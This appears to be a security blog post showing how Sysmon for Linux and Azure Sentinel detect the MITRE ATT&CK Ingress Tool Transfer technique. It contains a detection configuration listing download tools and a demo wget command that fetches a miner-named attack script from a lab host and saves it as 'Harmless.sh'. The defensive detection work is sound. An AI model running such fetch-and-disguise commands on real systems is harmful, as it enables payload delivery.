MITRE ATT&CK technique coverage with Sysmon for Linux

 Thanks to Kevin
Sheldrake, Roberto Rodriguez, Jessen Kurien and Ofer Shezaf for making this
blog possible.

 

For many years, people have been using Sysmon on their Windows systems to gain clarity on what is
happening on their machines and, for the security community, to highlight when
suspicious or malicious activity occurs. Collecting events from individual
hosts is crucial to ensuring you have the visibility needed to identify and
respond to malicious events and Sysmon provides a way to do just that. With the
introduction of Sysmon for Linux, that same clarity is available for many Linux
distros.  While we won’t be detailing all the available Sysmon for Linux
capabilities in this post, you can find the Sysmon documentation here,
read about how to deploy Sysmon in conjunction with Azure Sentinel, look at a
quick guide on how you can use Sysmon in conjunction with Azure Sentinel, or look through
our GitHub repository where we’ve been experimenting with Sysmon configs for Linux.

 

To frame the conversation around how Sysmon for Linux (shortened to Sysmon
from here on out) can be used to create clarity for security teams, we will
walk through how Sysmon events can be used to spot a specific MITRE ATT&CK
technique. The MITRE ATT&CK Matrix (Linux
focused version here) is a well-known and respected framework that many
organizations use to think about adversary techniques and assess detection
coverage. Just like on the Windows side, Sysmon can be used to highlight
tactics and techniques across the matrix. In this blog, we will focus in on the
Ingress Tool Transfer technique (ID T1105)
and highlight a couple of the Sysmon events that can be used to see it. We
observe this technique being used against Linux systems and sensor networks
regularly, and while we have tools to alert on this activity, it is still a
good idea to ensure you have visibility into the host so you can investigate
attacks. To look at this technique, we will show how to enable collection of
three useful events, what those events look like when they fire, and how they
can help you understand what happened. Additionally, we will show what those
events look like in Azure Sentinel.

 

Ingress Tool
Transfer (T1105)

It is common to see attackers taking advantage of initial access to a
machine by downloading a script or piece of malware. While “living off the
land” is still something to watch for, in attacks on our customers and against
our sensor network we see attempts to download tools very frequently.  In
fact, the MITRE ATT&CK page for Ingress Tool
Transfer shows 290 different pieces of malware and activity groups that use
this technique, so it is a good place to start showing how Sysmon can help add
coverage to different ATT&CK techniques.

 

For this example, we will focus on the five most commonly used tools for
downloading scripts and malware that we’ve seen run on our sensor networks. We
will look for wget, curl, ftpget, tftp, and lwp-download. You may want to
customize this list for your environment, but this will cover the majority of
what we see.

 

Create your Sysmon
configuration file

Just like Sysmon for Windows, you will want to create configuration files
based on the system you are wanting to collect logs for based on the role of
the system, your environment, and your collection requirements. The basics of
how to write and run a configuration can be found on the Sysmon documentation page and you can see some examples in
the MSTIC-Sysmon
repo so we’ll just focus on what we need for this specific technique. One
thing to note is that the Event IDs are consistent between Windows and Linux so
Event ID 1 represents process creation events in both environments.

 

We are interested in seeing when an attacker tries to download files to our
computer. There are a few ways we can see that behavior reflected. To begin, we
know that a process will have to get created to start the download. We also
know that a network connection will have to be made and, if the attacker is
successful, a file will be written. Lucky for us, Sysmon has us covered for all
three of these with ProcessCreate, NetworkConnect, and FileCreate events.

 

Below is a basic configuration that we can use to create those events based
on our list of the commonly used tools (it is available in our repo here). You can see we have
separate sections for each of the events we want and have said we want to
include the listed matches.  The tool name will be in the “Image” field,
and we’ve used “end with” because we generally expect to see file paths there
(ex. /bin/wget).

 

<!–
Created: 10/15/2021 Modified: 10/17/2021 Technique: Ingress Tool Transfer
References: – https://attack.mitre.org/techniques/T1105/
–> <Sysmon schemaversion=”4.81″> <EventFiltering>
<RuleGroup name=”” groupRelation=”or”>
<ProcessCreate onmatch=”include”> <Rule name=”TechniqueID=T1105,TechniqueName=Ingress
Tool Transfer” groupRelation=”or”> <Image
condition=”end with”>wget</Image> <Image
condition=”end with”>curl</Image> <Image
condition=”end with”>ftpget</Image> <Image
condition=”end with”>tftp</Image> <Image
condition=”end with”>lwp-download</Image> </Rule>
</ProcessCreate> </RuleGroup> <RuleGroup name=””
groupRelation=”or”> <NetworkConnect
onmatch=”include”> <Rule name=”TechniqueID=T1105,TechniqueName=Ingress
Tool Transfer” groupRelation=”or”> <Image
condition=”end with”>wget</Image> <Image
condition=”end with”>curl</Image> <Image
condition=”end with”>ftpget</Image> <Image
condition=”end with”>tftp</Image> <Image
condition=”end with”>lwp-download</Image> </Rule>
</NetworkConnect> </RuleGroup> <RuleGroup name=””
groupRelation=”or”> <FileCreate onmatch=”include”>
<Rule name=”TechniqueID=T1105,TechniqueName=Ingress Tool Transfer”
groupRelation=”or”> <Image condition=”end
with”>wget</Image> <Image condition=”end
with”>curl</Image> <Image condition=”end
with”>ftpget</Image> <Image condition=”end
with”>tftp</Image> <Image condition=”end
with”>lwp-download</Image> </Rule> </FileCreate>
</RuleGroup> </EventFiltering> </Sysmon>

 

One thing to note is that both ProcessCreate and ProcessTerminate are
enabled by default.  If you don’t want to collect one of those, you’ll
need an empty “include” statement. Once you have your configuration
created and enabled, you’ll start seeing events.

 

Raw Sysmon events

The Sysmon logs can be found in /var/log/syslog.
While you could just look at the raw events there, we have the SysmonLogView
tool which can make it easier. This tool will take the Sysmon events and
display them in the more human readable format that you can see below. You can
use the below command to push new events from syslog into the sysmonLogView
using the following command:

 

sudo tail -f
/var/log/syslog | sudo /opt/sysmon/sysmonLogView

 

This gives us a running view of what events are being created. We can then
run the below command to trigger the rules.

wget
10.0.5.8:7000/xmrigAttackDemo.sh -O Harmless.sh

This command will use wget to call out to a server at 10.0.5.8 port 7000,
download the xmrigAttackDemo.sh script, and save it as the script Harmless.sh.
xmrigAttackDemo.sh is an internal testing script that I used for this demo.

 

ProcessCreate
(Event ID 1):

You can see we get quite a lot of information from the ProcessCreate event.
We can see wget in the Image field, the full Command Line, the Current
Directory, and the user. You also get Parent Process information although it
isn’t as interesting in this example.

 

Event
SYSMONEVENT_CREATE_PROCESS RuleName: – UtcTime: 2021-09-28 21:53:22.533
ProcessGuid: {23b1b3a6-8ed2-6153-705c-4f4576550000} ProcessId: 13409 Image:
/usr/bin/wget FileVersion: – Description: – Product: – Company: –
OriginalFileName: – CommandLine: wget 10.0.5.8:7000/xmrigAttackDemo.sh -O
Harmless.sh CurrentDirectory: /home/testUser User: testUser LogonGuid:
{23b1b3a6-0000-0000-e903-000000000000} LogonId: 1001 TerminalSessionId: 38
IntegrityLevel: no level Hashes: – ParentProcessGuid:
{23b1b3a6-8ed2-6153-0824-7cafd1550000} ParentProcessId: 13408 ParentImage:
/bin/bash ParentCommandLine: bash

 

NetworkConnect
(Event ID 3):

In the NetworkConnect event, we again see wget in the Image field and the
user. We also see the protocol, source and destination IP addresses, and the
ports involved. Our example command line has the IP listed already so it isn’t
new information, but it could be useful in tying the different logs together.
You’ll notice the Process IDs also match up as expected.

 

Event
SYSMONEVENT_NETWORK_CONNECT RuleName: – UtcTime: 2021-09-28 21:53:22.543
ProcessGuid: {23b1b3a6-8ed2-6153-705c-4f4576550000} ProcessId: 13409 Image:
/usr/bin/wget User: testUser Protocol: tcp Initiated: true SourceIsIpv6: false
SourceIp: 10.0.5.10 SourceHostname: – SourcePort: 40680 SourcePortName: –
DestinationIsIpv6: false DestinationIp: 10.0.5.8 DestinationHostname: –
DestinationPort: 7000 DestinationPortName: –

 

FileCreate (Event
ID 11):

Here we can again see the wget tool and the process Id. We also have the
name of the file that was created and its file path.

 

Event
SYSMONEVENT_FILE_CREATE RuleName: – UtcTime: 2021-09-28 21:53:22.536 ProcessGuid:
{23b1b3a6-8ed2-6153-705c-4f4576550000} ProcessId: 13409 Image: /usr/bin/wget
TargetFilename: /home/testUser/Harmless.sh CreationUtcTime: 2021-09-28
21:53:22.536

 

Viewing in Azure
Sentinel

Sysmon events are pushed to Syslog so if you are collecting Syslog events
from your Linux machine into Azure Sentinel, you will get the Sysmon
events.  For more details on how to make that connection, check out the
documentation here.  Also, as the Sysmon events come through with
most of the data in the Syslog Message field, you’ll need to parse out the
fields you are interested in.  Fortunately, the Azure Sentinel Information Model parsers have you covered.
You can install the Parsers from the link here. Once you do, you’ll have access to functions that
have taken the guesswork out of parsing.

 

The parsing functions are available under Functions-> Workspace
functions. In the below, you can see the Linux Sysmon functions we currently
have.

russmc_7-1634581968271.png

 

Using the function vimProcessCreateLinuxSysmon, we can see our event reflected.
We have narrowed the query to just the event in the example above and chosen to
project only a couple of the columns of data.

russmc_0-1634586546027.png

From here you can start to include Sysmon as a data source for your hunting
queries and analytics.

 

Sysmon for Linux
and MITRE ATT&CK

While we didn’t dig into all the possible Sysmon events or ATT&CK
techniques, hopefully you can see how you can use Sysmon to collect data that
will highlight adversary techniques. Sysmon

is open source and available in the Sysinternals GitHub.  If you have requests or find
bugs, check out the Sysmon for Linux project page for the best ways to contact
the team. MSTIC has been working with different configs and have started a repo here
to share with the community. If you want to see other configs based on MITRE
ATT&CK techniques, check them out here and feel free to add suggestions of your own. If you
want a config that has all the techniques we’ve mapped so far, you can find it here. We will continue to come up with new ways to utilize
the logs in Azure Sentinel and we look forward to seeing what the community
develops. If the amazing work around the Windows version is any indication, we
expect that the future of Linux logging is bright.

 

References:



Original  Post here